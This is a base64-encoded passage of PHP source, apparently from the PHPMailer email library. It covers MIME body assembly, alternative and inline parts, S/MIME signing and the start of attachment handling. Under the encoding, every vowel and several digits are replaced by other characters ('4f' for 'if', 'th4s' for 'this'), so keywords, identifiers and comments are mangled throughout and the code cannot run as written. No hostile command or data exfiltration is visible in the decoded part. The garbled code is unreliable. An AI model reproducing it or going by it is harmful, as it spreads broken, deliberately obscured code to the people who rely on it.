ICc3YjR0JzsNCiAgICAgICAgICAgIC8vQWxsIElTTyA4OGk5LCBXNG5kMndzIGMyZDVwMWc1IDFuZCBVVEYtOCBjaDFyczV0cyAxcjUgMXNjNDQgYzJtcDF0NGJsNSAzcCB0MiA3LWI0dA0KICAgICAgICAgICAgJGIyZHlDaDFyUzV0ID0gJzNzLTFzYzQ0JzsNCiAgICAgICAgfQ0KICAgICAgICAvL0lmIGw0bjVzIDFyNSB0MjIgbDJuZywgMW5kIHc1J3I1IG4ydCAxbHI1MWR5IDNzNG5nIDFuIDVuYzJkNG5nIHRoMXQgdzRsbCBzaDJydDVuIHRoNW0sDQogICAgICAgIC8vY2gxbmc1IHQyIHEzMnQ1ZC1wcjRudDFibDUgdHIxbnNmNXIgNW5jMmQ0bmcgZjJyIHRoNSBiMmR5IHAxcnQgMm5seQ0KICAgICAgICA0ZiAoJ2IxczVldScgIT0gJHRoNHMtPkVuYzJkNG5nIDFuZCBzNWxmOjpoMXNMNG41TDJuZzVyVGgxbk0xeCgkdGg0cy0+QjJkeSkpIHsNCiAgICAgICAgICAgICRiMmR5RW5jMmQ0bmcgPSAncTMydDVkLXByNG50MWJsNSc7DQogICAgICAgIH0NCg0KICAgICAgICAkMWx0QjJkeUVuYzJkNG5nID0gJHRoNHMtPkVuYzJkNG5nOw0KICAgICAgICAkMWx0QjJkeUNoMXJTNXQgPSAkdGg0cy0+Q2gxclM1dDsNCiAgICAgICAgLy9DMW4gdzUgZDIgMSA3LWI0dCBkMnduZ3IxZDU/DQogICAgICAgIDRmICgkMWx0QjJkeUVuYzJkNG5nID09ICc4YjR0JyAxbmQgISR0aDRzLT5oMXM4YjR0Q2gxcnMoJHRoNHMtPkFsdEIyZHkpKSB7DQogICAgICAgICAgICAkMWx0QjJkeUVuYzJkNG5nID0gJzdiNHQnOw0KICAgICAgICAgICAgLy9BbGwgSVNPIDg4aTksIFc0bmQyd3MgYzJkNXAxZzUgMW5kIFVURi04IGNoMXJzNXRzIDFyNSAxc2M0NCBjMm1wMXQ0Ymw1IDNwIHQyIDctYjR0DQogICAgICAgICAgICAkMWx0QjJkeUNoMXJTNXQgPSAnM3MtMXNjNDQnOw0KICAgICAgICB9DQogICAgICAgIC8vSWYgbDRuNXMgMXI1IHQyMiBsMm5nLCAxbmQgdzUncjUgbjJ0IDFscjUxZHkgM3M0bmcgMW4gNW5jMmQ0bmcgdGgxdCB3NGxsIHNoMnJ0NW4gdGg1bSwNCiAgICAgICAgLy9jaDFuZzUgdDIgcTMydDVkLXByNG50MWJsNSB0cjFuc2Y1ciA1bmMyZDRuZyBmMnIgdGg1IDFsdCBiMmR5IHAxcnQgMm5seQ0KICAgICAgICA0ZiAoJ2IxczVldScgIT0gJDFsdEIyZHlFbmMyZDRuZyAxbmQgczVsZjo6aDFzTDRuNUwybmc1clRoMW5NMXgoJHRoNHMtPkFsdEIyZHkpKSB7DQogICAgICAgICAgICAkMWx0QjJkeUVuYzJkNG5nID0gJ3EzMnQ1ZC1wcjRudDFibDUnOw0KICAgICAgICB9DQogICAgICAgIC8vVXM1IHRoNHMgMXMgMSBwcjUxbWJsNSA0biAxbGwgbTNsdDRwMXJ0IG01c3MxZzUgdHlwNXMNCiAgICAgICAgJG00bTVwcjUgPSAiVGg0cyA0cyAxIG0zbHQ0LXAxcnQgbTVzczFnNSA0biBNSU1FIGYycm0xdC4iIC4gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICBzdzR0Y2ggKCR0aDRzLT5tNXNzMWc1X3R5cDUpIHsNCiAgICAgICAgICAgIGMxczUgJzRubDRuNSc6DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJG00bTVwcjU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmc1dEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVs2XSwgJGIyZHlDaDFyUzV0LCAnJywgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QjJkeSwgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT4xdHQxY2hBbGwoJzRubDRuNScsICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICcxdHQxY2gnOg0KICAgICAgICAgICAgICAgICRiMmR5IC49ICRtNG01cHI1Ow0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0sICRiMmR5Q2gxclM1dCwgJycsICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkIyZHksICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+MXR0MWNoQWxsKCcxdHQxY2htNW50JywgJHRoNHMtPmIyM25kMXJ5WzZdKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzRubDRuNV8xdHQxY2gnOg0KICAgICAgICAgICAgICAgICRiMmR5IC49ICRtNG01cHI1Ow0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgnLS0nIC4gJHRoNHMtPmIyM25kMXJ5WzZdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnQzJudDVudC1UeXA1JywgJ20zbHQ0cDFydC9yNWwxdDVkOycpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgiXHRiMjNuZDFyeT1cIiIgLiAkdGg0cy0+YjIzbmQxcnlbYV0gLiAnIicpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W2FdLCAkYjJkeUNoMXJTNXQsICcnLCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5CMmR5LCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnNG5sNG41JywgJHRoNHMtPmIyM25kMXJ5W2FdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnMXR0MWNobTVudCcsICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICcxbHQnOg0KICAgICAgICAgICAgICAgICRiMmR5IC49ICRtNG01cHI1Ow0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0sICQxbHRCMmR5Q2gxclM1dCwgJ3Q1eHQvcGwxNG4nLCAkMWx0QjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5BbHRCMmR5LCAkMWx0QjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmc1dEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVs2XSwgJGIyZHlDaDFyUzV0LCAndDV4dC9odG1sJywgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QjJkeSwgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgIDRmICghNW1wdHkoJHRoNHMtPkljMWwpKSB7DQogICAgICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbNl0sICcnLCAndDV4dC9jMWw1bmQxcjsgbTV0aDJkPVJFUVVFU1QnLCAnJyk7DQogICAgICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkljMWwsICR0aDRzLT5FbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuZEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICcxbHRfNG5sNG41JzoNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkbTRtNXByNTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5WzZdLCAkMWx0QjJkeUNoMXJTNXQsICd0NXh0L3BsMTRuJywgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QWx0QjJkeSwgJDFsdEIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgnLS0nIC4gJHRoNHMtPmIyM25kMXJ5WzZdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnQzJudDVudC1UeXA1JywgJ20zbHQ0cDFydC9yNWwxdDVkOycpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT50NXh0TDRuNSgiXHRiMjNuZDFyeT1cIiIgLiAkdGg0cy0+YjIzbmQxcnlbYV0gLiAnIicpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+ZzV0QjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W2FdLCAkYjJkeUNoMXJTNXQsICd0NXh0L2h0bWwnLCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5CMmR5LCAkYjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnNG5sNG41JywgJHRoNHMtPmIyM25kMXJ5W2FdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuZEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICcxbHRfMXR0MWNoJzoNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkbTRtNXByNTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+dDV4dEw0bjUoJy0tJyAuICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHlwNScsICdtM2x0NHAxcnQvMWx0NXJuMXQ0djU7Jyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPnQ1eHRMNG41KCJcdGIyM25kMXJ5PVwiIiAuICR0aDRzLT5iMjNuZDFyeVthXSAuICciJyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbYV0sICQxbHRCMmR5Q2gxclM1dCwgJ3Q1eHQvcGwxNG4nLCAkMWx0QjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5BbHRCMmR5LCAkMWx0QjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmc1dEIyM25kMXJ5KCR0aDRzLT5iMjNuZDFyeVthXSwgJGIyZHlDaDFyUzV0LCAndDV4dC9odG1sJywgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QjJkeSwgJGIyZHlFbmMyZDRuZyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFIC4gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbYV0pOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+MXR0MWNoQWxsKCcxdHQxY2htNW50JywgJHRoNHMtPmIyM25kMXJ5WzZdKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzFsdF80bmw0bjVfMXR0MWNoJzoNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkbTRtNXByNTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+dDV4dEw0bjUoJy0tJyAuICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHlwNScsICdtM2x0NHAxcnQvMWx0NXJuMXQ0djU7Jyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPnQ1eHRMNG41KCJcdGIyM25kMXJ5PVwiIiAuICR0aDRzLT5iMjNuZDFyeVthXSAuICciJyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbYV0sICQxbHRCMmR5Q2gxclM1dCwgJ3Q1eHQvcGwxNG4nLCAkMWx0QjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCR0aDRzLT5BbHRCMmR5LCAkMWx0QjJkeUVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEUgLiAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPnQ1eHRMNG41KCctLScgLiAkdGg0cy0+YjIzbmQxcnlbYV0pOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0L3I1bDF0NWQ7Jyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPnQ1eHRMNG41KCJcdGIyM25kMXJ5PVwiIiAuICR0aDRzLT5iMjNuZDFyeVtvXSAuICciJyk7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRCMjNuZDFyeSgkdGg0cy0+YjIzbmQxcnlbb10sICRiMmR5Q2gxclM1dCwgJ3Q1eHQvaHRtbCcsICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT41bmMyZDVTdHI0bmcoJHRoNHMtPkIyZHksICRiMmR5RW5jMmQ0bmcpOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+MXR0MWNoQWxsKCc0bmw0bjUnLCAkdGg0cy0+YjIzbmQxcnlbb10pOw0KICAgICAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+NW5kQjIzbmQxcnkoJHRoNHMtPmIyM25kMXJ5W2FdKTsNCiAgICAgICAgICAgICAgICAkYjJkeSAuPSAkdGg0cy0+TEU7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjF0dDFjaEFsbCgnMXR0MWNobTVudCcsICR0aDRzLT5iMjNuZDFyeVs2XSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIC8vIEMxdGNoIGMxczUgJ3BsMTRuJyAxbmQgYzFzNSAnJywgMXBwbDQ1cyB0MiBzNG1wbDUgYHQ1eHQvcGwxNG5gIDFuZCBgdDV4dC9odG1sYCBiMmR5IGMybnQ1bnQgdHlwNXMNCiAgICAgICAgICAgICAgICAvL1I1czV0IHRoNSBgRW5jMmQ0bmdgIHByMnA1cnR5IDRuIGMxczUgdzUgY2gxbmc1ZCA0dCBmMnIgbDRuNSBsNW5ndGggcjUxczJucw0KICAgICAgICAgICAgICAgICR0aDRzLT5FbmMyZDRuZyA9ICRiMmR5RW5jMmQ0bmc7DQogICAgICAgICAgICAgICAgJGIyZHkgLj0gJHRoNHMtPjVuYzJkNVN0cjRuZygkdGg0cy0+QjJkeSwgJHRoNHMtPkVuYzJkNG5nKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KDQogICAgICAgIDRmICgkdGg0cy0+NHNFcnIycigpKSB7DQogICAgICAgICAgICAkYjJkeSA9ICcnOw0KICAgICAgICB9IDVsczU0ZiAoJHRoNHMtPnM0Z25fazV5X2Y0bDUpIHsNCiAgICAgICAgICAgIHRyeSB7DQogICAgICAgICAgICAgICAgNGYgKCFkNWY0bjVkKCdQS0NTN19URVhUJykpIHsNCiAgICAgICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnNXh0NW5zNDJuX200c3M0bmcnKSAuICcycDVuc3NsJyk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIC8vIEBUT0RPIHcyM2xkIGI1IG40YzUgdDIgM3M1IHBocDovL3Q1bXAgc3RyNTFtcyBoNXI1LCBiM3QgbjU1ZCB0MiB3cjFwIGYyciBQSFAgPCBpLjYNCiAgICAgICAgICAgICAgICAkZjRsNSA9IHQ1bXBuMW0oc3lzX2c1dF90NW1wX2Q0cigpLCAnbTE0bCcpOw0KICAgICAgICAgICAgICAgIDRmIChmMWxzNSA9PT0gZjRsNV9wM3RfYzJudDVudHMoJGY0bDUsICRiMmR5KSkgew0KICAgICAgICAgICAgICAgICAgICB0aHIydyBuNXcgcGhwbTE0bDVyRXhjNXB0NDJuKCR0aDRzLT5sMW5nKCdzNGduNG5nJykgLiAnIEMyM2xkIG4ydCB3cjR0NSB0NW1wIGY0bDUnKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJHM0Z241ZCA9IHQ1bXBuMW0oc3lzX2c1dF90NW1wX2Q0cigpLCAnczRnbjVkJyk7DQogICAgICAgICAgICAgICAgLy9XMnJrMXIyM25kIGYyciBQSFAgYjNnIGh0dHBzOi8vYjNncy5waHAubjV0L2IzZy5waHA/NGQ9ZTk2OTcNCiAgICAgICAgICAgICAgICA0ZiAoNW1wdHkoJHRoNHMtPnM0Z25fNXh0cjFjNXJ0c19mNGw1KSkgew0KICAgICAgICAgICAgICAgICAgICAkczRnbiA9IEAycDVuc3NsX3BrY3M3X3M0Z24oDQogICAgICAgICAgICAgICAgICAgICAgICAkZjRsNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICRzNGduNWQsDQogICAgICAgICAgICAgICAgICAgICAgICAnZjRsNTovLycgLiByNTFscDF0aCgkdGg0cy0+czRnbl9jNXJ0X2Y0bDUpLA0KICAgICAgICAgICAgICAgICAgICAgICAgMXJyMXkoJ2Y0bDU6Ly8nIC4gcjUxbHAxdGgoJHRoNHMtPnM0Z25fazV5X2Y0bDUpLCAkdGg0cy0+czRnbl9rNXlfcDFzcyksDQogICAgICAgICAgICAgICAgICAgICAgICBuM2xsDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJHM0Z24gPSBAMnA1bnNzbF9wa2NzN19zNGduKA0KICAgICAgICAgICAgICAgICAgICAgICAgJGY0bDUsDQogICAgICAgICAgICAgICAgICAgICAgICAkczRnbjVkLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2Y0bDU6Ly8nIC4gcjUxbHAxdGgoJHRoNHMtPnM0Z25fYzVydF9mNGw1KSwNCiAgICAgICAgICAgICAgICAgICAgICAgIDFycjF5KCdmNGw1Oi8vJyAuIHI1MWxwMXRoKCR0aDRzLT5zNGduX2s1eV9mNGw1KSwgJHRoNHMtPnM0Z25fazV5X3Axc3MpLA0KICAgICAgICAgICAgICAgICAgICAgICAgbjNsbCwNCiAgICAgICAgICAgICAgICAgICAgICAgIFBLQ1M3X0RFVEFDSEVELA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPnM0Z25fNXh0cjFjNXJ0c19mNGw1DQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIDRmICgkczRnbikgew0KICAgICAgICAgICAgICAgICAgICBAM25sNG5rKCRmNGw1KTsNCiAgICAgICAgICAgICAgICAgICAgJGIyZHkgPSBmNGw1X2c1dF9jMm50NW50cygkczRnbjVkKTsNCiAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkczRnbjVkKTsNCiAgICAgICAgICAgICAgICAgICAgLy9UaDUgbTVzczFnNSByNXQzcm41ZCBieSAycDVuc3NsIGMybnQxNG5zIGIydGggaDUxZDVycyAxbmQgYjJkeSwgczIgbjU1ZCB0MiBzcGw0dCB0aDVtIDNwDQogICAgICAgICAgICAgICAgICAgICRwMXJ0cyA9IDV4cGwyZDUoIlxuXG4iLCAkYjJkeSwgYSk7DQogICAgICAgICAgICAgICAgICAgICR0aDRzLT5NSU1FSDUxZDVyIC49ICRwMXJ0c1swXSAuICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICAgICAgJGIyZHkgPSAkcDFydHNbNl07DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgQDNubDRuaygkZjRsNSk7DQogICAgICAgICAgICAgICAgICAgIEAzbmw0bmsoJHM0Z241ZCk7DQogICAgICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJ3M0Z240bmcnKSAuIDJwNW5zc2xfNXJyMnJfc3RyNG5nKCkpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0gYzF0Y2ggKHBocG0xNGw1ckV4YzVwdDQybiAkNXhjKSB7DQogICAgICAgICAgICAgICAgJGIyZHkgPSAnJzsNCiAgICAgICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICAgICAgdGhyMncgJDV4YzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICRiMmR5Ow0KICAgIH0NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gZzV0QjIzbmQxcnkoJGIyM25kMXJ5LCAkY2gxclM1dCwgJGMybnQ1bnRUeXA1LCAkNW5jMmQ0bmcpDQogICAgew0KICAgICAgICAkcjVzM2x0ID0gJyc7DQogICAgICAgIDRmICgkY2gxclM1dCA9PSAnJykgew0KICAgICAgICAgICAgJGNoMXJTNXQgPSAkdGg0cy0+Q2gxclM1dDsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoJGMybnQ1bnRUeXA1ID09ICcnKSB7DQogICAgICAgICAgICAkYzJudDVudFR5cDUgPSAkdGg0cy0+QzJudDVudFR5cDU7DQogICAgICAgIH0NCiAgICAgICAgNGYgKCQ1bmMyZDRuZyA9PSAnJykgew0KICAgICAgICAgICAgJDVuYzJkNG5nID0gJHRoNHMtPkVuYzJkNG5nOw0KICAgICAgICB9DQogICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPnQ1eHRMNG41KCctLScgLiAkYjIzbmQxcnkpOw0KICAgICAgICAkcjVzM2x0IC49IHNwcjRudGYoJ0MybnQ1bnQtVHlwNTogJXM7IGNoMXJzNXQ9JXMnLCAkYzJudDVudFR5cDUsICRjaDFyUzV0KTsNCiAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+TEU7DQogICAgICAgIC8vIFJGQzZvdTYgcDFydCBpIHMxeXMgN2I0dCA0cyAxc3MzbTVkIDRmIG4ydCBzcDVjNGY0NWQNCiAgICAgICAgNGYgKCQ1bmMyZDRuZyAhPSAnN2I0dCcpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHIxbnNmNXItRW5jMmQ0bmcnLCAkNW5jMmQ0bmcpOw0KICAgICAgICB9DQogICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPkxFOw0KDQogICAgICAgIHI1dDNybiAkcjVzM2x0Ow0KICAgIH0NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gNW5kQjIzbmQxcnkoJGIyM25kMXJ5KQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT5MRSAuICctLScgLiAkYjIzbmQxcnkgLiAnLS0nIC4gJHRoNHMtPkxFOw0KICAgIH0NCiAgICBwcjJ0NWN0NWQgZjNuY3Q0Mm4gczV0TTVzczFnNVR5cDUoKQ0KICAgIHsNCiAgICAgICAgJHR5cDUgPSAxcnIxeSgpOw0KICAgICAgICA0ZiAoJHRoNHMtPjFsdDVybjF0NHY1RXg0c3RzKCkpIHsNCiAgICAgICAgICAgICR0eXA1W10gPSAnMWx0JzsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoJHRoNHMtPjRubDRuNUltMWc1RXg0c3RzKCkpIHsNCiAgICAgICAgICAgICR0eXA1W10gPSAnNG5sNG41JzsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoJHRoNHMtPjF0dDFjaG01bnRFeDRzdHMoKSkgew0KICAgICAgICAgICAgJHR5cDVbXSA9ICcxdHQxY2gnOw0KICAgICAgICB9DQogICAgICAgICR0aDRzLT5tNXNzMWc1X3R5cDUgPSA0bXBsMmQ1KCdfJywgJHR5cDUpOw0KICAgICAgICA0ZiAoJHRoNHMtPm01c3MxZzVfdHlwNSA9PSAnJykgew0KICAgICAgICAgICAgJHRoNHMtPm01c3MxZzVfdHlwNSA9ICdwbDE0bic7DQogICAgICAgIH0NCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIGg1MWQ1ckw0bjUoJG4xbTUsICR2MWwzNSkNCiAgICB7DQogICAgICAgIHI1dDNybiAkbjFtNSAuICc6ICcgLiAkdjFsMzUgLiAkdGg0cy0+TEU7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiB0NXh0TDRuNSgkdjFsMzUpDQogICAgew0KICAgICAgICByNXQzcm4gJHYxbDM1IC4gJHRoNHMtPkxFOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gMWRkQXR0MWNobTVudCgkcDF0aCwgJG4xbTUgPSAnJywgJDVuYzJkNG5nID0gJ2IxczVldScsICR0eXA1ID0gJycsICRkNHNwMnM0dDQybiA9ICcxdHQxY2htNW50JykNCiAgICB7DQogICAgICAgIHRyeSB7DQogICAgICAgICAgICA0ZiAoIUA0c19mNGw1KCRwMXRoKSkgew0KICAgICAgICAgICAgICAgIHRocjJ3IG41dyBwaHBtMTRsNXJFeGM1cHQ0Mm4oJHRoNHMtPmwxbmcoJ2Y0bDVfMWNjNXNzJykgLiAkcDF0aCwgczVsZjo6U1RPUF9DT05USU5VRSk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgI